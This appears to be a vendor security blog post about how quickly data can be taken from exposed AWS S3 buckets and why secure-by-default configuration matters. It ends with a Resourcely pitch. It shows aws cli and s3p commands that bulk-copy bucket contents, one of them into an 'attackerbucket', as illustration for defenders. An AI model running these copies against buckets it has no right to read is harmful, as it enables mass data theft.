June 26, 2024
Haoxi Tan
Exfiltration data speed in the cloud making incident response impossible
There is never enough time to respond to cloud exfiltration of exposed data, secure configuration is the only prevention
There's been a significant increase in the number of SaaS and cloud based data breaches, from API abuse, data theft from exposed cloud assets, to straight up "login and exfil" using stolen credentials (such as in the case of the Snowflake hacking spree), with cloud based data breaches show no signs of slowing down.
Cloud providers like AWS, GCP, and Azure are called "Public Cloud" for a reason - anyone can sign up and use them, including attackers. It takes minutes for an attacker to open a new account and get access to virtually unlimited data storage and compute, often hosted in the same high-speed data centers as their victim's assets.
Let's take a classic example of bad actors stealing data: copying files from a publicly available AWS S3 bucket. If an attacker is downloading files from the S3 bucket to their local machine, the speed would depend on how fast their internet is, how many hops they are using for VPN, and so on. However, even with a very slow network speed and the default AWS API client, they can easily download up to 20 files a second to their local machine by running a simple command:
aws s3 cp s3://bucketname . --recursive
This command was run behind a VPN on a home network connection (with average 10MB/s of internet speed) for about 200 seconds. The default aws cli isn't very fast, and was only able to utilize a small part of the bandwidth and download at around 140 KB/s), and yet it was able to download around 4000 files from an open S3 bucket in 200 seconds.
Using an optimized tool called s3p, which massively parallelizes S3 API calls to perform the data exfiltration in the same network environment, achieved much better results: over 800 files per second at top speed:
s3p cp --bucket bucketname --to-folder
Even worse, if an attacker runs s3p on an EC2 instance in the same cloud region as their victim's data to copy the files into their own S3 bucket, the transfer would be processed entirely from inside the cloud provider's data centers, like so:
s3p cp --bucket bucketname --to-bucket attackerbucket
They can copy all the data to their own AWS account at massive speeds, then use other VPS (Virtual Private Server) instances in bulletproof hosting providers to exfiltrate that data outside of AWS where takedown is much more difficult.
Using s3p on a EC2 instance to optimize the number of API calls, cloud-to-cloud transfers could reach up to 8 gigabytes per second. That means for an exposed S3 bucket with 1TB of data, it could all end up in the attacker's AWS account in just over 2 minutes. By the time the incident is detected, the data would have already ended up for sale in a hacking forum.
As companies move their assets to the cloud and migrate from on-premise applications to SaaS apps, attackers are constantly innovating. One particular Advanced Persistent Threat (APT) group called Scattered Spider (a.k.a. Octo Tempest) is a group of English-speaking teenagers particularly well versed in exploiting cloud-based applications and services.
The group had focused on SIM swapping attacks and ransomware in the past to gain access to large companies, but recently pivoted towards data theft attacks in cloud and SaaS systems for extortion purposes without deploying ransomware. Octo Tempest was named one of the most dangerous financial hacking groups by Microsoft, and it's gone cloud native.
Google's Mandiant said that after the reconnaissance phase, the group performs "exfiltration from SaaS applications through cloud synchronization utilities, such as Airbyte and Fivetran, to move data from cloud-hosted data sources to external attacker-owned cloud storage resources, such as S3 buckets''.
With the speed of the cloud and attackers moving away from ransomware deployment to extortion via data theft, it's virtually impossible to respond fast enough to these incidents. Once an exposed, misconfigured cloud asset has been discovered by attackers, exfiltration can start in a matter of seconds.
Unlike ransomware, which moves across different systems with suspicious hands-on-keyboard activity that can be detected by Endpoint Detection and Response, data exfiltration activity in the cloud looks much like normal data access, and once the data is lost it cannot be recovered by incident response.
CloudTrail is the logging service for AWS, central to all other tooling that analyzes logs for security events. The CloudTrail FAQ page notes that an API call event is usually delivered from CloudTrail within 5 minutes (300 seconds) of the API call. Given that the top speed of data exfiltration above is 8GB/s, that gives an attacker the ability to exfiltrate around 2TB of data before the event log is even delivered to your security tooling - and by that point your data is long gone.
Given there is not enough time to react to a misconfigured cloud asset being breached, proactively securing configuration is the only way to protect against the risk of potential cloud data breaches. To do that, security teams must shift from a reactive, issue-centric view of the world to a proactive, preventative strategy, powered by secure, sensible defaults for configuring cloud resources.
Resourcely enables your security, infrastructure and developer teams to create proactive, simple, continuously enforced guardrails to safeguard your cloud resources. Get started with Resourcely to make your organization secure-by-default. Massive shoutout to Jason Craig and Will Bengtson, who had the initial idea for this post.
